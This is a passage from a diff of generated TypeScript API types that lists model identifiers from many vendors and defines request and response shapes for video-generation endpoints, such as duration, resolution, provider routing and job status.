'minimax/minimax-m2.5', + 'minimax/minimax-m2.7': 'minimax/minimax-m2.7', + 'minimax/minimax-m3': 'minimax/minimax-m3', + 'minimax/minimax-m3.1-flash': 'minimax/minimax-m3.1-flash', + 'minimax/minimax-m3:batch': 'minimax/minimax-m3:batch', + 'mistralai/codestral-2508': 'mistralai/codestral-2508', + 'mistralai/devstral-2512': 'mistralai/devstral-2512', + 'mistralai/ministral-14b-2512': 'mistralai/ministral-14b-2512', + 'mistralai/ministral-3b-2512': 'mistralai/ministral-3b-2512', + 'mistralai/ministral-8b-2512': 'mistralai/ministral-8b-2512', + 'mistralai/mistral-large': 'mistralai/mistral-large', + 'mistralai/mistral-large-2407': 'mistralai/mistral-large-2407', + 'mistralai/mistral-large-2512': 'mistralai/mistral-large-2512', + 'mistralai/mistral-large-4-0': 'mistralai/mistral-large-4-0', + 'mistralai/mistral-medium-3': 'mistralai/mistral-medium-3', + 'mistralai/mistral-medium-3.1': 'mistralai/mistral-medium-3.1', + 'mistralai/mistral-medium-3-5': 'mistralai/mistral-medium-3-5', + 'mistralai/mistral-medium-3-5:batch': 'mistralai/mistral-medium-3-5:batch', + 'mistralai/mistral-nemo': 'mistralai/mistral-nemo', + 'mistralai/mistral-saba': 'mistralai/mistral-saba', + 'mistralai/mistral-small-24b-instruct-2501': + 'mistralai/mistral-small-24b-instruct-2501', + 'mistralai/mistral-small-2603': 'mistralai/mistral-small-2603', + 'mistralai/mistral-small-3.1-24b-instruct': + 'mistralai/mistral-small-3.1-24b-instruct', + 'mistralai/mistral-small-3.2-24b-instruct': + 'mistralai/mistral-small-3.2-24b-instruct', + 'mistralai/mixtral-8x22b-instruct': 'mistralai/mixtral-8x22b-instruct', + 'mistralai/voxtral-small-24b-2507': 'mistralai/voxtral-small-24b-2507', + 'moondream/moondream3.1-9b-a2b': 'moondream/moondream3.1-9b-a2b', + 'moondream/moondream3-preview': 'moondream/moondream3-preview', + 'moonshotai/kimi-k2': 'moonshotai/kimi-k2', + 'moonshotai/kimi-k2-0905': 'moonshotai/kimi-k2-0905', + 'moonshotai/kimi-k2.5': 'moonshotai/kimi-k2.5', + 'moonshotai/kimi-k2.6': 'moonshotai/kimi-k2.6', + 'moonshotai/kimi-k2.7-code': 'moonshotai/kimi-k2.7-code', + 'moonshotai/kimi-k2-thinking': 'moonshotai/kimi-k2-thinking', + 'moonshotai/kimi-k3': 'moonshotai/kimi-k3', + 'moonshotai/kimi-k3.1-pro': 'moonshotai/kimi-k3.1-pro', + 'moonshotai/kimi-k3:batch': 'moonshotai/kimi-k3:batch', + '~moonshotai/kimi-latest': '~moonshotai/kimi-latest', + 'morph/morph-v3-fast': 'morph/morph-v3-fast', + 'morph/morph-v3-fast:batch': 'morph/morph-v3-fast:batch', + 'morph/morph-v3-large': 'morph/morph-v3-large', + 'morph/morph-v3-large:batch': 'morph/morph-v3-large:batch', + 'nex-agi/nex-n2.5-mini': 'nex-agi/nex-n2.5-mini', + 'nex-agi/nex-n2.5-pro': 'nex-agi/nex-n2.5-pro', + 'nousresearch/hermes-4-405b': 'nousresearch/hermes-4-405b', + 'nvidia/nemotron-3.5-content-safety': 'nvidia/nemotron-3.5-content-safety', + 'nvidia/nemotron-3.5-lightning': 'nvidia/nemotron-3.5-lightning', + 'nvidia/nemotron-3.5-lightning:free': 'nvidia/nemotron-3.5-lightning:free', + 'nvidia/nemotron-3.5-super-vl': 'nvidia/nemotron-3.5-super-vl', + 'nvidia/nemotron-3.5-super-vl:free': 'nvidia/nemotron-3.5-super-vl:free', + 'nvidia/nemotron-3-nano-30b-a3b': 'nvidia/nemotron-3-nano-30b-a3b', + 'nvidia/nemotron-3-nano-omni-30b-a3b-reasoning:free': + 'nvidia/nemotron-3-nano-omni-30b-a3b-reasoning:free', + 'nvidia/nemotron-3-super-120b-a12b': 'nvidia/nemotron-3-super-120b-a12b', + 'nvidia/nemotron-3-ultra-550b-a55b': 'nvidia/nemotron-3-ultra-550b-a55b', + 'nvidia/nemotron-3-ultra-550b-a55b:free': + 'nvidia/nemotron-3-ultra-550b-a55b:free', + 'nvidia/switchyard': 'nvidia/switchyard', + 'openai/gpt-3.5-turbo-0613': 'openai/gpt-3.5-turbo-0613', + 'openai/gpt-3.5-turbo-16k': 'openai/gpt-3.5-turbo-16k', + 'openai/gpt-4': 'openai/gpt-4', + 'openai/gpt-4.1': 'openai/gpt-4.1', + 'openai/gpt-4.1:batch': 'openai/gpt-4.1:batch', + 'openai/gpt-4.1-mini': 'openai/gpt-4.1-mini', + 'openai/gpt-4.1-mini:batch': 'openai/gpt-4.1-mini:batch', + 'openai/gpt-4.1-nano': 'openai/gpt-4.1-nano', + 'openai/gpt-4.1-nano:batch': 'openai/gpt-4.1-nano:batch', + 'openai/gpt-4-turbo:batch': 'openai/gpt-4-turbo:batch', + 'openai/gpt-4o': 'openai/gpt-4o', + 'openai/gpt-4o-2024-05-13': 'openai/gpt-4o-2024-05-13', + 'openai/gpt-4o-2024-08-06': 'openai/gpt-4o-2024-08-06', + 'openai/gpt-4o-2024-11-20': 'openai/gpt-4o-2024-11-20', + 'openai/gpt-4o:batch': 'openai/gpt-4o:batch', + 'openai/gpt-4o-mini': 'openai/gpt-4o-mini', + 'openai/gpt-4o-mini-2024-07-18': 'openai/gpt-4o-mini-2024-07-18', + 'openai/gpt-4o-mini:batch': 'openai/gpt-4o-mini:batch', + 'openai/gpt-5': 'openai/gpt-5', + 'openai/gpt-5.1': 'openai/gpt-5.1', + 'openai/gpt-5.1:batch': 'openai/gpt-5.1:batch', + 'openai/gpt-5.1-codex': 'openai/gpt-5.1-codex', + 'openai/gpt-5.1-codex-max': 'openai/gpt-5.1-codex-max', + 'openai/gpt-5.1-codex-mini': 'openai/gpt-5.1-codex-mini', + 'openai/gpt-5.2': 'openai/gpt-5.2', + 'openai/gpt-5.2:batch': 'openai/gpt-5.2:batch', + 'openai/gpt-5.2-chat': 'openai/gpt-5.2-chat', + 'openai/gpt-5.2-codex': 'openai/gpt-5.2-codex', + 'openai/gpt-5.2-pro': 'openai/gpt-5.2-pro', + 'openai/gpt-5.2-pro:batch': 'openai/gpt-5.2-pro:batch', + 'openai/gpt-5.3-codex': 'openai/gpt-5.3-codex', + 'openai/gpt-5.4': 'openai/gpt-5.4', + 'openai/gpt-5.4:batch': 'openai/gpt-5.4:batch', + 'openai/gpt-5.4-image-2': 'openai/gpt-5.4-image-2', + 'openai/gpt-5.4-mini': 'openai/gpt-5.4-mini', + 'openai/gpt-5.4-mini:batch': 'openai/gpt-5.4-mini:batch', + 'openai/gpt-5.4-nano': 'openai/gpt-5.4-nano', + 'openai/gpt-5.4-nano:batch': 'openai/gpt-5.4-nano:batch', + 'openai/gpt-5.4-pro': 'openai/gpt-5.4-pro', + 'openai/gpt-5.4-pro:batch': 'openai/gpt-5.4-pro:batch', + 'openai/gpt-5.5': 'openai/gpt-5.5', + 'openai/gpt-5.5:batch': 'openai/gpt-5.5:batch', + 'openai/gpt-5.5-pro': 'openai/gpt-5.5-pro', + 'openai/gpt-5.5-pro:batch': 'openai/gpt-5.5-pro:batch', + 'openai/gpt-5.6-luna': 'openai/gpt-5.6-luna', + 'openai/gpt-5.6-luna:batch': 'openai/gpt-5.6-luna:batch', + 'openai/gpt-5.6-luna-pro': 'openai/gpt-5.6-luna-pro', + 'openai/gpt-5.6-luna-pro:batch': 'openai/gpt-5.6-luna-pro:batch', + 'openai/gpt-5.6-sol': 'openai/gpt-5.6-sol', + 'openai/gpt-5.6-sol:batch': 'openai/gpt-5.6-sol:batch', + 'openai/gpt-5.6-sol-pro': 'openai/gpt-5.6-sol-pro', + 'openai/gpt-5.6-sol-pro:batch': 'openai/gpt-5.6-sol-pro:batch', + 'openai/gpt-5.6-terra': 'openai/gpt-5.6-terra', + 'openai/gpt-5.6-terra:batch': 'openai/gpt-5.6-terra:batch', + 'openai/gpt-5.6-terra-pro': 'openai/gpt-5.6-terra-pro', + 'openai/gpt-5.6-terra-pro:batch': 'openai/gpt-5.6-terra-pro:batch', + 'openai/gpt-5:batch': 'openai/gpt-5:batch', + 'openai/gpt-5-image': 'openai/gpt-5-image', + 'openai/gpt-5-image-mini': 'openai/gpt-5-image-mini', + 'openai/gpt-5-mini': 'openai/gpt-5-mini', + 'openai/gpt-5-mini:batch': 'openai/gpt-5-mini:batch', + 'openai/gpt-5-nano': 'openai/gpt-5-nano', + 'openai/gpt-5-nano:batch': 'openai/gpt-5-nano:batch', + 'openai/gpt-5-pro': 'openai/gpt-5-pro', + 'openai/gpt-5-pro:batch': 'openai/gpt-5-pro:batch', + 'openai/gpt-6.1-sol': 'openai/gpt-6.1-sol', + 'openai/gpt-6.1-sol:batch': 'openai/gpt-6.1-sol:batch', + 'openai/gpt-6.1-sol-pro': 'openai/gpt-6.1-sol-pro', + 'openai/gpt-6.1-sol-pro:batch': 'openai/gpt-6.1-sol-pro:batch', + 'openai/gpt-6.1-terra': 'openai/gpt-6.1-terra', + 'openai/gpt-6.1-terra:batch': 'openai/gpt-6.1-terra:batch', + 'openai/gpt-6.1-terra-pro': 'openai/gpt-6.1-terra-pro', + 'openai/gpt-6.1-terra-pro:batch': 'openai/gpt-6.1-terra-pro:batch', + 'openai/gpt-6-astra': 'openai/gpt-6-astra', + 'openai/gpt-6-astra:batch': 'openai/gpt-6-astra:batch', + 'openai/gpt-6-astra-pro': 'openai/gpt-6-astra-pro', + 'openai/gpt-6-astra-pro:batch': 'openai/gpt-6-astra-pro:batch', + 'openai/gpt-6-luna': 'openai/gpt-6-luna', + 'openai/gpt-6-luna:batch': 'openai/gpt-6-luna:batch', + 'openai/gpt-6-luna-pro': 'openai/gpt-6-luna-pro', + 'openai/gpt-6-luna-pro:batch': 'openai/gpt-6-luna-pro:batch', + 'openai/gpt-6-sol': 'openai/gpt-6-sol', + 'openai/gpt-6-sol:batch': 'openai/gpt-6-sol:batch', + 'openai/gpt-6-sol-pro': 'openai/gpt-6-sol-pro', + 'openai/gpt-6-sol-pro:batch': 'openai/gpt-6-sol-pro:batch', + '~openai/gpt-astra-latest': '~openai/gpt-astra-latest', + 'openai/gpt-audio': 'openai/gpt-audio', + 'openai/gpt-audio-mini': 'openai/gpt-audio-mini', + 'openai/gpt-chat-latest': 'openai/gpt-chat-latest', + '~openai/gpt-luna-latest': '~openai/gpt-luna-latest', + '~openai/gpt-mini-latest': '~openai/gpt-mini-latest', + 'openai/gpt-oss-120b': 'openai/gpt-oss-120b', + 'openai/gpt-oss-120b:batch': 'openai/gpt-oss-120b:batch', + 'openai/gpt-oss-20b': 'openai/gpt-oss-20b', + 'openai/gpt-oss-20b:batch': 'openai/gpt-oss-20b:batch', + 'openai/gpt-oss-safeguard-20b': 'openai/gpt-oss-safeguard-20b', + '~openai/gpt-sol-latest': '~openai/gpt-sol-latest', + '~openai/gpt-terra-latest': '~openai/gpt-terra-latest', + 'openai/o3': 'openai/o3', + 'openai/o3:batch': 'openai/o3:batch', + 'openai/o3-mini:batch': 'openai/o3-mini:batch', + 'openai/o3-pro': 'openai/o3-pro', + 'openai/o4-mini:batch': 'openai/o4-mini:batch', + 'openrouter/auto': 'openrouter/auto', + 'openrouter/auto-beta': 'openrouter/auto-beta', + 'openrouter/auto-code': 'openrouter/auto-code', + 'openrouter/bodybuilder': 'openrouter/bodybuilder', + 'openrouter/free': 'openrouter/free', + 'openrouter/fusion': 'openrouter/fusion', + 'openrouter/pareto-code': 'openrouter/pareto-code', + 'particle-ai/particle-1': 'particle-ai/particle-1', + 'perceptron/perceptron-mk1': 'perceptron/perceptron-mk1', + 'perceptron/perceptron-mk1.5': 'perceptron/perceptron-mk1.5', + 'perplexity/sonar': 'perplexity/sonar', + 'perplexity/sonar-deep-research': 'perplexity/sonar-deep-research', + 'perplexity/sonar-pro': 'perplexity/sonar-pro', + 'perplexity/sonar-pro-search': 'perplexity/sonar-pro-search', + 'perplexity/sonar-reasoning-pro': 'perplexity/sonar-reasoning-pro', + 'prism-ml/ternary-bonsai-2-27b': 'prism-ml/ternary-bonsai-2-27b', + 'prism-ml/ternary-bonsai-2-9b': 'prism-ml/ternary-bonsai-2-9b', + 'qwen/qwen-2.5-72b-instruct': 'qwen/qwen-2.5-72b-instruct', + 'qwen/qwen-2.5-7b-instruct': 'qwen/qwen-2.5-7b-instruct', + 'qwen/qwen-2.5-coder-32b-instruct': 'qwen/qwen-2.5-coder-32b-instruct', + 'qwen/qwen-plus': 'qwen/qwen-plus', + 'qwen/qwen2.5-vl-72b-instruct': 'qwen/qwen2.5-vl-72b-instruct', + 'qwen/qwen3-14b': 'qwen/qwen3-14b', + 'qwen/qwen3-235b-a22b-2507': 'qwen/qwen3-235b-a22b-2507', + 'qwen/qwen3-235b-a22b-thinking-2507': 'qwen/qwen3-235b-a22b-thinking-2507', + 'qwen/qwen3-30b-a3b': 'qwen/qwen3-30b-a3b', + 'qwen/qwen3-30b-a3b-instruct-2507': 'qwen/qwen3-30b-a3b-instruct-2507', + 'qwen/qwen3-32b': 'qwen/qwen3-32b', + 'qwen/qwen3.5-122b-a10b': 'qwen/qwen3.5-122b-a10b', + 'qwen/qwen3.5-27b': 'qwen/qwen3.5-27b', + 'qwen/qwen3.5-35b-a3b': 'qwen/qwen3.5-35b-a3b', + 'qwen/qwen3.5-397b-a17b': 'qwen/qwen3.5-397b-a17b', + 'qwen/qwen3.5-9b': 'qwen/qwen3.5-9b', + 'qwen/qwen3.5-flash-02-23': 'qwen/qwen3.5-flash-02-23', + 'qwen/qwen3.5-plus-02-15': 'qwen/qwen3.5-plus-02-15', + 'qwen/qwen3.5-plus-20260420': 'qwen/qwen3.5-plus-20260420', + 'qwen/qwen3.6-27b': 'qwen/qwen3.6-27b', + 'qwen/qwen3.6-35b-a3b': 'qwen/qwen3.6-35b-a3b', + 'qwen/qwen3.6-flash': 'qwen/qwen3.6-flash', + 'qwen/qwen3.6-plus': 'qwen/qwen3.6-plus', + 'qwen/qwen3.7-flash': 'qwen/qwen3.7-flash', + 'qwen/qwen3.7-max': 'qwen/qwen3.7-max', + 'qwen/qwen3.7-plus': 'qwen/qwen3.7-plus', + 'qwen/qwen3.7-plus:batch': 'qwen/qwen3.7-plus:batch', + 'qwen/qwen3.8-2.4t-a95b': 'qwen/qwen3.8-2.4t-a95b', + 'qwen/qwen3.8-27b': 'qwen/qwen3.8-27b', + 'qwen/qwen3.8-27b:batch': 'qwen/qwen3.8-27b:batch', + 'qwen/qwen3.8-flash': 'qwen/qwen3.8-flash', + 'qwen/qwen3.8-max-0902': 'qwen/qwen3.8-max-0902', + 'qwen/qwen3.8-max-prime': 'qwen/qwen3.8-max-prime', + 'qwen/qwen3.8-omni-flash': 'qwen/qwen3.8-omni-flash', + 'qwen/qwen3-coder': 'qwen/qwen3-coder', + 'qwen/qwen3-coder-30b-a3b-instruct': 'qwen/qwen3-coder-30b-a3b-instruct', + 'qwen/qwen3-coder-flash': 'qwen/qwen3-coder-flash', + 'qwen/qwen3-coder-next': 'qwen/qwen3-coder-next', + 'qwen/qwen3-next-80b-a3b-instruct': 'qwen/qwen3-next-80b-a3b-instruct', + 'qwen/qwen3-vl-235b-a22b-instruct': 'qwen/qwen3-vl-235b-a22b-instruct', + 'qwen/qwen3-vl-30b-a3b-instruct': 'qwen/qwen3-vl-30b-a3b-instruct', + 'qwen/qwen3-vl-30b-a3b-thinking': 'qwen/qwen3-vl-30b-a3b-thinking', + 'qwen/qwen3-vl-8b-instruct': 'qwen/qwen3-vl-8b-instruct', + 'recursive/flint-v1.0:free': 'recursive/flint-v1.0:free', + 'reflection/beam-1.0-501b-a23b': 'reflection/beam-1.0-501b-a23b', + 'rekaai/reka-edge': 'rekaai/reka-edge', + 'rekaai/reka-flash-3': 'rekaai/reka-flash-3', + 'relace/relace-apply-3': 'relace/relace-apply-3', + 'relace/relace-search': 'relace/relace-search', + 'ricursiveai/ripple-65b-preview': 'ricursiveai/ripple-65b-preview', + 'sakana/fugu-max': 'sakana/fugu-max', + 'sakana/fugu-ultra': 'sakana/fugu-ultra', + 'sakana/fugu-ultra-v2': 'sakana/fugu-ultra-v2', + 'sakana/sakana-namazu': 'sakana/sakana-namazu', + 'sao10k/l3.1-euryale-70b': 'sao10k/l3.1-euryale-70b', + 'sao10k/l3-lunaris-8b': 'sao10k/l3-lunaris-8b', + 'scaledown/extract': 'scaledown/extract', + 'scaledown/summarize': 'scaledown/summarize', + 'stealth/crouton-alpha': 'stealth/crouton-alpha', + 'stepfun/step-3.5-flash': 'stepfun/step-3.5-flash', + 'stepfun/step-3.7-flash': 'stepfun/step-3.7-flash', + 'stepfun/step-5-preview': 'stepfun/step-5-preview', + 'tencent/hunyuan-a13b-instruct': 'tencent/hunyuan-a13b-instruct', + 'tencent/hy-mt2-1.8b': 'tencent/hy-mt2-1.8b', + 'tencent/hy-mt2-30b-a3b': 'tencent/hy-mt2-30b-a3b', + 'tencent/hy-mt2-7b': 'tencent/hy-mt2-7b', + 'tencent/hy3': 'tencent/hy3', + 'tencent/hy3-preview': 'tencent/hy3-preview', + 'tencent/hy4': 'tencent/hy4', + 'tencent/hy4-preview': 'tencent/hy4-preview', + 'thedrummer/cydonia-24b-v4.1': 'thedrummer/cydonia-24b-v4.1', + 'thedrummer/skyfall-36b-v2': 'thedrummer/skyfall-36b-v2', + 'thedrummer/unslopnemo-12b': 'thedrummer/unslopnemo-12b', + 'thinkingmachines/inkling': 'thinkingmachines/inkling', + 'thinkingmachines/inkling-small': 'thinkingmachines/inkling-small', + 'thinkingmachines/inkling-small:batch': + 'thinkingmachines/inkling-small:batch', + 'typesafe/jev-router': 'typesafe/jev-router', + 'unbiased/pareto-26.10': 'unbiased/pareto-26.10', + 'unbiased/pareto-26.9': 'unbiased/pareto-26.9', + '~unbiased/pareto-latest': '~unbiased/pareto-latest', + 'undi95/remm-slerp-l2-13b': 'undi95/remm-slerp-l2-13b', + 'upstage/solar-mini4': 'upstage/solar-mini4', + 'upstage/solar-pro4': 'upstage/solar-pro4', + 'writer/palmyra-x5': 'writer/palmyra-x5', + 'x-ai/grok-4.20': 'x-ai/grok-4.20', + 'x-ai/grok-4.20-multi-agent': 'x-ai/grok-4.20-multi-agent', + 'x-ai/grok-4.3': 'x-ai/grok-4.3', + 'x-ai/grok-4.3:batch': 'x-ai/grok-4.3:batch', + 'x-ai/grok-4.5': 'x-ai/grok-4.5', + 'x-ai/grok-4.6': 'x-ai/grok-4.6', + 'x-ai/grok-4.6:batch': 'x-ai/grok-4.6:batch', + 'x-ai/grok-4.7': 'x-ai/grok-4.7', + 'x-ai/grok-4.7:batch': 'x-ai/grok-4.7:batch', + 'x-ai/grok-build-0.1': 'x-ai/grok-build-0.1', + '~x-ai/grok-latest': '~x-ai/grok-latest', + 'xiaomi/mimo-v2.5': 'xiaomi/mimo-v2.5', + 'xiaomi/mimo-v2.5-pro': 'xiaomi/mimo-v2.5-pro', + 'xiaomi/mimo-v2.6-flash': 'xiaomi/mimo-v2.6-flash', + 'xiaomi/mimo-v2.6-pro': 'xiaomi/mimo-v2.6-pro', + 'xiaomi/mimo-v2.6-pro-ultraspeed': 'xiaomi/mimo-v2.6-pro-ultraspeed', + 'xingchen-agi/xing4.0-29b-a4b:free': 'xingchen-agi/xing4.0-29b-a4b:free', + 'z-ai/glm-4.5': 'z-ai/glm-4.5', + 'z-ai/glm-4.5-air': 'z-ai/glm-4.5-air', + 'z-ai/glm-4.5v': 'z-ai/glm-4.5v', + 'z-ai/glm-4.6': 'z-ai/glm-4.6', + 'z-ai/glm-4.6v': 'z-ai/glm-4.6v', + 'z-ai/glm-4.7': 'z-ai/glm-4.7', + 'z-ai/glm-4.7-flash': 'z-ai/glm-4.7-flash', + 'z-ai/glm-5': 'z-ai/glm-5', + 'z-ai/glm-5.1': 'z-ai/glm-5.1', + 'z-ai/glm-5.2': 'z-ai/glm-5.2', + 'z-ai/glm-5.2:batch': 'z-ai/glm-5.2:batch', + 'z-ai/glm-5.3': 'z-ai/glm-5.3', + 'z-ai/glm-5.3:batch': 'z-ai/glm-5.3:batch', + 'z-ai/glm-5.3-flash': 'z-ai/glm-5.3-flash', + 'z-ai/glm-5.3-flash:batch': 'z-ai/glm-5.3-flash:batch', + 'z-ai/glm-5.3-flashx': 'z-ai/glm-5.3-flashx', + 'z-ai/glm-5.3-flashx-legal': 'z-ai/glm-5.3-flashx-legal', + 'z-ai/glm-5.3-prime': 'z-ai/glm-5.3-prime', + 'z-ai/glm-5-turbo': 'z-ai/glm-5-turbo', + 'z-ai/glm-5v-turbo': 'z-ai/glm-5v-turbo', + '~z-ai/glm-flash-latest': '~z-ai/glm-flash-latest', + '~z-ai/glm-latest': '~z-ai/glm-latest', +} as const + +export type OpenrouterPostVideosRunwayGen45RequestModelEnumKey = + (typeof openrouterPostVideosRunwayGen45RequestModelEnum)[keyof typeof openrouterPostVideosRunwayGen45RequestModelEnum] + +export const openrouterPostVideosRunwayGen45RequestSizeEnum = { + '1280x720': '1280x720', + '720x1280': '720x1280', +} as const + +export type OpenrouterPostVideosRunwayGen45RequestSizeEnumKey = + (typeof openrouterPostVideosRunwayGen45RequestSizeEnum)[keyof typeof openrouterPostVideosRunwayGen45RequestSizeEnum] + +/** + * @description Runway: Gen-4.5 (runway/gen-4.5) — model-constrained video generation request. Runway Gen-4.5 is a video generation model from Runway for text-to-video and image-to-video workflows. It is designed for cinematic scene creation with strong motion quality, visual fidelity, and prompt adherence.... + * @example {"aspect_ratio":"16:9","duration":8,"model":"google/veo-3.1","prompt":"A serene mountain landscape at sunset","resolution":"720p"} + * @type object + */ +export type OpenrouterPostVideosRunwayGen45Body = { + /** + * @description Aspect ratio of the generated video + * @example 16:9 + * @type string | undefined + */ + aspect_ratio?: OpenrouterPostVideosRunwayGen45RequestAspectRatioEnumKey + /** + * @description URL to receive a webhook notification when the video generation job completes. Overrides the workspace-level default callback URL if set. Must be HTTPS. + * + * Format: `uri` + * @example https://example.com/webhook + * @type string | undefined + */ + callback_url?: string + /** + * @description Creativity level for video upscaling models only. This parameter is not supported by video generation models. + * @example 1 + * @type integer | undefined + */ + creativity?: number + /** + * @description Duration of the generated video in seconds + * @example 8 + * @type number | undefined + */ + duration?: OpenrouterPostVideosRunwayGen45RequestDurationEnumKey + /** + * @description Images to use as the first and/or last frame of the generated video. Each image must specify a frame_type of first_frame or last_frame. Frame types supported by this model: first_frame. + * @type array | undefined + */ + frame_images?: FrameImage[] + /** + * @description Reference assets to guide video generation. Accepts image, audio, and video references. Audio and video references are only honored by providers that support them (including BytePlus Seedance generation 2 and newer); other providers use image references and ignore the rest. + * @type array | undefined + */ + input_references?: InputReference[] + /** + * @description Model id (fixed for this model-constrained schema) + * @type string + */ + model: OpenrouterPostVideosRunwayGen45RequestModelEnumKey + /** + * @description ID of a completed video job to edit or extend, as returned by the submit response. The new job runs on the same model and endpoint that produced the previous one. Only models that support continuation accept this field. + * @pattern ^gen-vid-\d+-[0-9A-Za-z]{20}$ + * @example gen-vid-1789493115-a1B2c3D4e5F6g7H8i9J0 + * @type string | undefined + */ + previous_job_id?: string + /** + * @description Text prompt describing the video to generate. Optional for models that support generating a video from image input alone; required by all other models. + * @example A serene mountain landscape at sunset + * @type string | undefined + */ + prompt?: string + /** + * @description Provider routing preferences (order, only, ignore) and provider-specific passthrough configuration Passthrough parameters allowed for this model: contentModeration. + * @type object | undefined + */ + provider?: { + /** + * @description List of provider slugs to ignore. If provided, this list is merged with your account-wide ignored provider settings for this request. + * @example ["openai","anthropic"] + * @type array | undefined + */ + ignore?: (ProviderNameKey | string)[] | null + /** + * @description List of provider slugs to allow. If provided, this list is merged with your account-wide allowed provider settings for this request. + * @example ["openai","anthropic"] + * @type array | undefined + */ + only?: (ProviderNameKey | string)[] | null + /** + * @description Provider-specific options keyed by provider slug. The provider segment is case-insensitive; an endpoint tag after `/` must match the endpoint slug exactly. Only options for the matched provider are forwarded; the rest are ignored. Unrecognized keys are silently dropped. + * @example {"google-vertex":{"output_config":{"effort":"low"}}} + * @type object | undefined + */ + options?: ProviderOptions + /** + * @description An ordered list of provider slugs. The router will attempt to use the first provider in the subset of this list that supports your requested model, and fall back to the next if it is unavailable. If no providers are available, the request will fail with an error message. + * @example ["openai","anthropic"] + * @type array | undefined + */ + order?: (ProviderNameKey | string)[] | null + } + /** + * @description Resolution of the generated video + * @example 720p + * @type string | undefined + */ + resolution?: '720p' + /** + * @description If specified, the generation will sample deterministically, such that repeated requests with the same seed and parameters should return the same result. Determinism is not guaranteed for all providers. + * @type integer | undefined + */ + seed?: number + /** + * @description A unique identifier for grouping related requests (e.g., a conversation or agent workflow). Used for observability grouping in Broadcast and private logging; never sent to the provider. If provided in both the request body and the x-session-id header, the body value takes precedence. Maximum of 256 characters. + * @maxLength 256 + * @example session-1234 + * @type string | undefined + */ + session_id?: string + /** + * @description Exact pixel dimensions of the generated video in "WIDTHxHEIGHT" format (e.g. "1280x720"). Interchangeable with resolution + aspect_ratio. + * @example 1280x720 + * @type string | undefined + */ + size?: OpenrouterPostVideosRunwayGen45RequestSizeEnumKey + /** + * @description Metadata for observability and tracing. Known keys (trace_id, trace_name, span_name, generation_name, parent_span_id) have special handling. Additional keys are passed through as custom metadata to configured broadcast destinations. + * @example {"trace_id":"trace-abc123","trace_name":"my-app-trace"} + * @type object | undefined + */ + trace?: TraceConfig + /** + * @description Upscale factor for video upscaling models only. This parameter is not supported by video generation models. + * + * Format: `double` + * @minimum 0 + * @example 2 + * @type number | undefined + */ + upscale_factor?: number + /** + * @description A unique identifier representing your end-user. Forwarded to Broadcast and private logging as the end-user id; never sent to the provider. + * @maxLength 256 + * @example user-1234 + * @type string | undefined + */ + user?: string +} + +export type OpenrouterPostVideosRunwayGen45Options = { + body: OpenrouterPostVideosRunwayGen45Body + path?: never + query?: never + headers?: never +} + +export type OpenrouterPostVideosRunwayGen45Responses = { + '200': OpenrouterPostVideosRunwayGen45Status200 +} + +/** + * @description Union of all possible responses + */ +export type OpenrouterPostVideosRunwayGen45Response = + OpenrouterPostVideosRunwayGen45Status200 + +export const openrouterPostVideosTbcMischief1Status200StatusEnum = { + pending: 'pending', + in_progress: 'in_progress', + completed: 'completed', + failed: 'failed', + cancelled: 'cancelled', + expired: 'expired', +} as const + +export type OpenrouterPostVideosTbcMischief1Status200StatusEnumKey = + (typeof openrouterPostVideosTbcMischief1Status200StatusEnum)[keyof typeof openrouterPostVideosTbcMischief1Status200StatusEnum] + +/** + * @example {"generation_id":"gen-vid-1789480874-Ab3dEf9hIjKlMnOpQrSt","id":"gen-vid-1789480874-Ab3dEf9hIjKlMnOpQrSt","polling_url":"/api/v1/videos/gen-vid-1789480874-Ab3dEf9hIjKlMnOpQrSt","status":"pending"} + * @type object + */ +export type OpenrouterPostVideosTbcMischief1Status200 = { + error?: string + /** + * @description Unix timestamp in seconds when OpenRouter's stored copy of the outputs stops being available. Present only when that copy exists. + * @type integer | undefined + */ + expires_at?: number + /** + * @description The generation ID associated with this video generation job. Available once the job has been processed. + * @type string | undefined + */ + generation_id?: string + /** + * @description The video job ID, in the `gen-vid--<20 alphanumerics>` generation ID format. Pass it as `previous_job_id` to continue the generation. + * @type string + */ + id: string + polling_url: string + status: OpenrouterPostVideosTbcMischief1Status200StatusEnumKey + /** + * @description OpenRouter content URLs for each output. They need your API key in the `Authorization` header and keep working for as long as the output is available. + * @type array | undefined + */ + unsigned_urls?: string[] + /** + * @description Signed download URLs for OpenRouter's stored copy of each output, usable without an API key until `expires_at`. Anyone holding a URL can download that output until it expires, so treat it like a secret. Present only when the stored copy exists. + * @type array | undefined + */ + urls?: string[] + /** + * @description Usage and cost information for the video generation. Available once the job has completed. + * @example {"cost":0.5,"is_byok":false} + * @type object | undefined + */ + usage?: VideoGenerationUsage +} + +export const openrouterPostVideosTbcMischief1RequestDurationEnum = { + '3': 3, + '5': 5, +} as const + +export type OpenrouterPostVideosTbcMischief1RequestDurationEnumKey = + (typeof openrouterPostVideosTbcMischief1RequestDurationEnum)[keyof typeof openrouterPostVideosTbcMischief1RequestDurationEnum] + +export const openrouterPostVideosTbcMischief1RequestModelEnum = { + 'aion-labs/aion-2.0': 'aion-labs/aion-2.0', + 'aion-labs/aion-3.0': 'aion-labs/aion-3.0', + 'aion-labs/aion-3.0-mini': 'aion-labs/aion-3.0-mini', + 'aion-labs/aion-3.5': 'aion-labs/aion-3.5', + 'aion-labs/aion-3.5-mini': 'aion-labs/aion-3.5-mini', + 'aion-labs/aion-rp-llama-3.1-8b': 'aion-labs/aion-rp-llama-3.1-8b', + 'amazon/nova-2-lite-v1': 'amazon/nova-2-lite-v1', + 'amazon/nova-lite-v1': 'amazon/nova-lite-v1', + 'amazon/nova-micro-v1': 'amazon/nova-micro-v1', + 'amazon/nova-premier-v1': 'amazon/nova-premier-v1', + 'amazon/nova-pro-v1': 'amazon/nova-pro-v1', + 'anthracite-org/magnum-v4-72b': 'anthracite-org/magnum-v4-72b', + 'anthropic/claude-fable-5': 'anthropic/claude-fable-5', + 'anthropic/claude-fable-5.1': 'anthropic/claude-fable-5.1', + 'anthropic/claude-fable-5.1:batch': 'anthropic/claude-fable-5.1:batch', + 'anthropic/claude-fable-5:batch': 'anthropic/claude-fable-5:batch', + '~anthropic/claude-fable-latest': '~anthropic/claude-fable-latest', + 'anthropic/claude-haiku-4.5': 'anthropic/claude-haiku-4.5', + 'anthropic/claude-haiku-4.5:batch': 'anthropic/claude-haiku-4.5:batch', + 'anthropic/claude-haiku-5.5': 'anthropic/claude-haiku-5.5', + 'anthropic/claude-haiku-5.5:batch': 'anthropic/claude-haiku-5.5:batch', + '~anthropic/claude-haiku-latest': '~anthropic/claude-haiku-latest', + 'anthropic/claude-opus-4.1': 'anthropic/claude-opus-4.1', + 